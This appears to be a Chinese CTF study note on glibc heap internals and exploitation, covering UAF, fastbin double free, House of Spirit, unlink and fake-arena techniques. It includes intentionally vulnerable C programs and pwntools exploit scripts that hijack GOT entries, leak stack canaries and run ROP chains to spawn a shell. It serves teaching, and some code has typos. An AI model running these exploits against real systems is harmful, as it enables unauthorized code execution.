Glibc Heap Exp

Glibc Heap Exp

Glibc Heap Overview

GLibc Heap

  • 负责维护动态分配memory的结构称为Heap
  • Libc里比较常用的部分是malloc,free,realloc
    • C++的new,delete,底层是上述几个
  • 配置新的内存块,释放掉并回收不需要的部分,在配置内存的时候尽量避免[碎片化]

    Heap相关的漏洞利用

  • UAF

  • Double free
  • Heap overflow

Glibc Heap相关概念

  • glibc/malloc/malloc.c
  • 要做到内存的管理:
    • 有哪些位置的内存可以分配
    • 有哪些位置因为free可以回收
    • 有哪些位置使用中则不需要记录,使用它们的人应该记住这些指标
  • 整个Heap的信息记录在一个malloc_state的struct中,称为main_arena
  • malloc分配的内存称为chunk,比要求的大小大一些,因为需要记录一些维护Heap用的额外信息
  • Arena和heap分配的内存分开存放,heap overflow无法直接覆盖掉它的部分
  • 回收的chunk用linked list记录,称为bin
  • main_arena中有很多的bin,每个bin储存的size不同,目的是让malloc时可以找到最适合大小的chunk
  • 回收的chunk会根据size来决定应该存放在哪个linked list(bin)中
1
2
3
4
5
main_arena{
bin[0](size=16)->chunk1->chunk5
bin[1](size=32)->chunk2->chunk3->chunk4
bin[2](size=48)->chunk....
}
  • malloc时,先从bin里面找可以使用的chunk,如果找不到才会真的分配新的内存给程序使用。分配时可以去找到足够大的chunk只切出需要的部分,剩下的部分会形成新的chunk
  • 找不到可以用的chunk时会从top chunk里分配,top chunk是一个很大的chunk,代表可使用但是未分配的内存,malloc分配时从里面切一块下来,剩下的重新设置为top
1
2
3
4
main_arena{
mchunkptr top->top_chunk;
mchunkptr last_remainder;
}

编译glibc2.23时的一个问题

regexec.c:3856:29: error: ‘extra’ may be used uninitialized in this function [-Werror=maybe-uninitialized]
const unsigned char *coll_sym = extra + cset->coll_syms[i];

1
export CFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" 

使用docker时的一个问题

为了契合glibc2.19版本,使用docker创建了一个ubuntu14.04的容器,在修改地址随机化时提示权限不够,其实就是创建docker时需要特权进入:

1
docker run -it --privileged=true ubuntu:14.04 /bin/bash 

Chunk

  • 存放chunk metadata的chunk结构
1
2
3
4
5
6
7
8
struct malloc_chunk{
size_t prev_size;
size_t size;
malloc_chunk *fd;
malloc_chunk *bk;
malloc_chunk *fd_nextsize;
malloc_chunk *bk_nextsize;
}
  • 64bit:mem=malloc(size)
    -> chunk=mem-16;
    chunksize=(size+8)#16 加8是为了给前一个chunk的data使用
    • 实际的chunk位置是malloc得到的地址+16
    • chunksize是size+8后向上对齐16得到的

Chunk Header标志位

  • size:该chunk在内存中的大小,不是malloc size
  • fd,bk:指向bin里的前一个后一个chunk
    • 一般来说bin就是double linked list
  • prev_size:前一个chunk size,维护heap时可以得知前一个chunk位置

Size(64 bit)

  • size标志位包含chunk size以及flag bits
  • chunk size为把size标志位最低3 bit:
    • fast bin<=128
    • small bin<2014
    • large bin
    • mmap>=9x20000
  • 最低的bit为prev inuse bit,用来表示前一个chunk是否使用
    • free会使下一个chunk的prev_inust bit被设置为0

Heap操作

  • p=malloc(size)

    • 找出一个可用的chunk,或从top chunk切下一块来
    • 如果这个chunk是回收的,要先从bin里面unlink,即移除unlinked list
    • 填好结构,并回传chunk+16
  • free(p)

    • 检查该chunk内存地址的前后chunk,是不是not inuse
    • 如果有,则这些回收的内存可以合并
    • 合并后的新chunk放到对应的bin中

free 的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include<cstring>
#include<stdio.h>
#include<stdlib.h>

using namespace std;

void *Malloc(size_t sz){
void *p=malloc(sz);
printf("%p = malloc(%ld)\n",p,sz);
}

void Free(void *p){
printf("free(%p)\n',p");
free(p);
}

int main(){
void *p,*q,*r,*s;
p=malloc(152);
q=malloc(10);
memset(p,'A',152);
free(p);
}

malloc完毕:

1
2
3
4
5
6
7
8
9
10
11
12
13
gdb-peda$ x/36xg 0x0602000
0x602000: 0x0000000000000000 0x00000000000000a1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
0x6020a0: 0x0000000000000000 0x0000000000000021
0x6020b0: 0x0000000000000000 0x0000000000000000

meset完毕:

1
2
3
4
5
6
7
8
9
10
11
12
13
gdb-peda$ x/36xg 0x602000 
0x602000: 0x0000000000000000 0x00000000000000a1
0x602010: 0x4141414141414141 0x4141414141414141
0x602020: 0x4141414141414141 0x4141414141414141
0x602030: 0x4141414141414141 0x4141414141414141
0x602040: 0x4141414141414141 0x4141414141414141
0x602050: 0x4141414141414141 0x4141414141414141
0x602060: 0x4141414141414141 0x4141414141414141
0x602070: 0x4141414141414141 0x4141414141414141
0x602080: 0x4141414141414141 0x4141414141414141
0x602090: 0x4141414141414141 0x4141414141414141
0x6020a0: 0x4141414141414141 0x0000000000000021
0x6020b0: 0x0000000000000000 0x0000000000000000

free完毕:

1
2
3
4
5
6
7
8
9
10
11
12
13
gdb-peda$ x/36xg 0x602000 
0x602000: 0x0000000000000000 0x00000000000000a1
0x602010: 0x00007ffff7dd4bb8 0x00007ffff7dd4bb8
0x602020: 0x4141414141414141 0x4141414141414141
0x602030: 0x4141414141414141 0x4141414141414141
0x602040: 0x4141414141414141 0x4141414141414141
0x602050: 0x4141414141414141 0x4141414141414141
0x602060: 0x4141414141414141 0x4141414141414141
0x602070: 0x4141414141414141 0x4141414141414141
0x602080: 0x4141414141414141 0x4141414141414141
0x602090: 0x4141414141414141 0x4141414141414141
0x6020a0: 0x00000000000000a0 0x0000000000000020
0x6020b0: 0x0000000000000000 0x0000000000000000

Exploit:UAF

  • 和chunk,bin等heap内部操作没有关系
  • 让程序的两个指标指向同一个内存
    • 一个是structure,另一个用作data buffer
    • 利用对buffer的读写,修改或者泄露structure的内容

利用chunk的回收特性

  • 所谓UAF,就是free(p)掉后还继续使用它

    • 例如:linked list remove掉后,忘了把它指向的内容置为NULL,导致内容还留存在list中
  • 重新malloc(=q)一样的大小,会拿到曾经free掉的chunk,此时就存在两个指针p,q指向同一片内存,使用这两个指针的操作会混在一起

    • 如:其中一个是C++的对象,有个vtable指针用来找出实际的function,如果另一个是可以写入的data buffer,就可以改掉function pointer。

one sample:

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include<cstdio>
#include<cstdlib>
#include<cstring>

class A{
public:
virtual void print(){
puts("class A");
}
};

class B:public A{
public:
void print(){
puts("class B");
}
};

void sh(){
system("sh");
}

char buf[1024];

int main(){
setvbuf(stdout,0,_IONBF,0);
A *p=new B();
delete p;

fgets(buf,sizeof(buf),stdin);
char*q=strdup(buf);

p->print();
}

执行完

1
2
fgets(buf,sizeof(buf),stdin);
char*q=strdup(buf);

gets内容为”AAAABBBB”后堆的内部变化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
gdb-peda$ x/20xg 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
gdb-peda$ lay src
gdb-peda$ x/20xg 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x4242424241414141 0x000000000000000a
0x602020: 0x0000000000000000 0x0000000000020fe1
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000

exp:

1
2
3
4
5
6
7
8
9
10
11

from pwn import *

io=remote("127.0.0.1",4000)

sh_addr=0x40090D
buf=0x601160

io.sendline((p64(buf+8)+p64(sh_addr)).ljust(20))

io.interactive()

堆:

1
0x601160:0x601168 _Z2shv

此时将0x601168当作虚表指针,指向了system(“sh”),然后再追一次调用system(“sh”)。

Fastbin Corruption

fastbin

  • chunk size<=get_max_fast()的chunk,会被放在一系列称为fastbin的bin里

    • 64 bit是128 byte,32 bit是64 byt
    • global_max_fast 一开始是0
  • Fastbin是single linked list,只使用fd,以NULL做结尾

  • Chunk size从32开始,共7个可以用的fastbin

  • free时不取消下一个chunk的inuse标志位,因为fastbin chunk不会和其它chunk合并

  • malloc,free操作时glibc会做一些检查,确认heap metadata是否正确,避免一些可能的攻击方式
  • 为了效率,fastbin里的检查会比其他类型的bin少很多

fastbin corruption

  • 让fastbin linked list指向任意地址,之后malloc就是将该地址作为chunk拿出来
  • freed(not inuse) chunk才会存在bin里,修改它的fd才会造成corruption
    • double free
    • overflow

Fastbin Sanity Check

  • malloc从bin里取出,要从正确的bin里拿出来,即chunk size要正确
  • free时,nextchunk size要对
  • free时会检查bin里第一个chunk是不是跟这个要free的chunk相同

fastbin double free

  • fasttop只检查bin里的第一个chunk,只要不是连续free同一个chunk就行
1
2
3
free(p);
free(q);
free(p);

bin形成了一个loop:

1
2
3
4
5
6
0x602000:	0x0000000000000000	0x0000000000000031
0x602010: 0x0000000000602030 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000031
0x602040: 0x0000000000602000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
  • double free造成类似uaf的效果,可以改掉还在bin里的chunk的fd标志位

    • bin是由fd连起来的linked list,改掉fd可以让linked list接往任意地址
    • 多次malloc后,就可以拿到一个地址可以控制的chunk
  • 取出的chunk的size的标志位要正确,所以不是完全任意地址,要能构造假的size

    • 用stack上的变量作size,可以malloc一个stack上的地址
    • GOT上,用64bit地址最常见的0x40作size
  • 取得chunk后,有机会对该地址任意读写

Overflow Freed chunk

  • 如果有heap overflow,可以覆盖下一个chunk的fd指标
  • 先free掉下一个chunk再进行overflow
  • Overflow时要注意下一个chunk的size是否正确

测试程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/* Problem Credit: seanwupi */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void sh(char *cmd) {
system(cmd);
}

int main() {
setvbuf(stdout, 0, _IONBF, 0);
int cmd, idx, sz;
char* ptr[10];
memset(ptr, 0, sizeof(ptr));
puts("1. malloc + gets\n2. free\n3. puts");
while (1) {
printf("> ");
scanf("%d %d", &cmd, &idx);
idx %= 10;
if (cmd==1) {
scanf("%d%*c", &sz);
ptr[idx] = malloc(sz);
gets(ptr[idx]);
} else if (cmd==2) {
free(ptr[idx]);
ptr[idx] = 0 ;
} else if (cmd==3) {
puts(ptr[idx]);
} else {
exit(0);
}
}
return 0;
}

覆盖地址方法(这里可能是libc版本的缘故,并没有在got表上下文中找到”\x40”作为fake chunk的size,所以做到填充的前一步),之后覆盖puts_got为system_addr,然后puts(3)即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
context.log_level="debug"

local = 1
binary_name = 'overflow1'

if local:
io = process('./overflow1')
#libc = ELF('./libc.so.6',checksec=False)
#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so',checksec=False)
else:
io = remote('127.0.0.1',4000)
libc = ELF('./libc.so.6',checksec=False)


bin = ELF('./'+binary_name,checksec=False)
#libc=ELF('./libc.so.6')



def z(a=''):
gdb.attach(io,a)
if a == '':
raw_input()

def gets(index,sz,buff):
io.sendlineafter("> ","1 "+str(index)+" "+str(sz)+" "+buff)

def free(index):
io.sendlineafter("> ","2 "+str(index))

def puts(index):
io.sendlineafter("> ","3 "+str(index))


gets(0,56,"AAAA")
gets(1,56,"BBBB")

free(1)
free(0)

puts_got=0x601020
system_addr=0x4007F6

gets(2,56,"A"*56+p64(0x41)+p64(puts_got))
gets(3,56,"/bin/sh\x00")
#gets(4,56,patch+system_addr)
#puts(3)

#z()

io.interactive()

Free Arbitrary Address(House of Spirit)

  • 其他overflow可以改掉一个原本由malloc得到的指针p,free(p)时会被改掉的指针进入fastbin,下次malloc是就可以拿到

合并 freed chunks

  • 非fastbin chunk在free掉时,会跟前后的freed chunk合并
  • unlink()是用来把chunk移出bin用的,从double linked list移除
1
2
3
4
5
6
#define unlink(P,BK,FD{       \
FD=P->fd; \
BK=P->BK; \
FD->bk=BK; \
BK->fd=FD; \
}

利用

  • 如果有overflow可以覆盖到某个chunk q的pre size,free q时可以控制unlink(p)的p
  • 使得o的内容也可控
  • 利用unlink机制造成dword shoot:
    • FD=p->fd=free@got.plt-0x18
    • BK=p->bk=shellcode

现在已经不可用,现在会进行检查:

  • 实际的unlink会检查double linked list是不是合法的
    • p->fd->bk==p
1
2
3
4
5
6
7
8
9
10
#define unlink(P,BK,FD{                          \
FD=P->fd; \
BK=P->BK; \
if(FD->bk!=P||BK->fd!=P) \
malloc_printrtr(check_action,"corrupted",P); \
else{ \
FD->bk=BK; \
BK->fd=FD; \
} \
}

Overwrite Heap Pointer

  • unlink检查绕过,需要以下一些条件
    • 一个指向heap内的指针
    • 存放该指针的地址已知
    • 可以对该指针写入多次
1
2
p->fd=&p-0x18;
p->bk=&p-0x10;
  • Result:p=&p-0x18

mmap chunks

  • malloc size超过约0x21000时,会改用mmap直接请求内存
  • mmap得到的地址是连续的,得到的chunk会接在上一次mmap之前,通常最后一次mmap会是tls段

伪造arena

  • 平常使用的arena是在libc内部的main_arena参数
  • malloc时会根据tls段上的某些指标决定使用的arena
  • mmap chunk overflow时可以盖掉arena指标
    • tls段上有stack address,stack guard canary
  • 伪造的arena的fastbin部分,使得下次malloc时可以取得伪造的chunk
  • 这个利用方式需要任意大小的malloc,但是不需要free

练习题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>

char cmd[1024];

void sh(char *c){
system(c);
}

int main(){
char* ptr[8];
char magic[32];
int size,n;

setvbuf(stdout,0,_IONBF,0);
memset(ptr,0,sizeof(ptr));

gets(magic);

while(1){
fgets(cmd,1024,stdin);
if(!strncmp(cmd,"add",3)){
printf("Index: ");
scanf("%d",&n);
if(n>=0&&n<8){
printf("Size: ");
scanf("%d%*c",&size);
ptr[n]=malloc(size);
printf("Data: ");
gets(ptr[n]);
}else{
puts("out of bound");
}
}else if(!strncmp(cmd,"print",5)){
printf("Index: ");
scanf("%d%*c",&n);
if(n>=0&&n<8&&ptr[n]){
printf("Size: ");
scanf("%d%*c",&size);
write(1,ptr[n],size);
}else{
puts("nothing here");
}
}else if(!strncmp(cmd,"exit",4)){
break;
}
}
return 0;

}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
#context.log_level="debug"
context.arch="amd64"

local = 1
binary_name = 'arena'

if local:
io = process('./'+binary_name)
#libc = ELF('./libc.so.6',checksec=False)
#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so',checksec=False)
else:
io = remote('127.0.0.1',4000)
#libc = ELF('./libc.so.6',checksec=False)


bin = ELF('./'+binary_name,checksec=False)
#libc=ELF('./libc.so.6')



def z(a=''):
gdb.attach(io,a)
if a == '':
raw_input()

def add(index,size,data):
io.sendline("add")
io.sendlineafter("Index: ",str(index))
io.sendlineafter("Size: ",str(size))
io.sendlineafter("Data: ",data)

def prt(index,sz):
io.sendline("print")
io.sendline(str(index))
io.sendlineafter("Size: ",str(sz))
return io.recvn(sz)

#fake fast bin chunk
io.sendline("AAAABBBB"+p64(0x20+2))

cmd = 0x6010c0
sh=0x4008F6

add(0,0x21000,"")
k=prt(0,0x23a00)
#print k
'''
for i in range(0,len(k),8):
x=u64(k[i:i+8])
if x!=0:
print hex(i),hex(x)
'''
stack=u64(k[0x239f0:0x239f0+8])
stack_guard=u64(k[0x23718:0x23718+8])
main_arena=0x236b8
chunk=stack-112

print "stack=",hex(stack)
print "stack_guard=",hex(stack_guard)
print "fake_chunk=",hex(chunk)
#add(1,0x21000,"A"*0x22000+k[:main_arena]+p64())

data="A"*0x22000+k[:main_arena]+p64(cmd+16)

io.sendline("add".ljust(16)+(p32(0)+p32(1))+p64(chunk)+"sh\x00")
io.sendlineafter("Index: ",str(1))
io.sendlineafter("Size: ",str(0x21000))
io.sendlineafter("Data: ",data)
#z()

rop=flat(
0x0000000000400be3,
0x6010e0,
sh
)

add(2,10,"A"*24+p64(stack_guard)+"B"*24+rop)

io.interactive()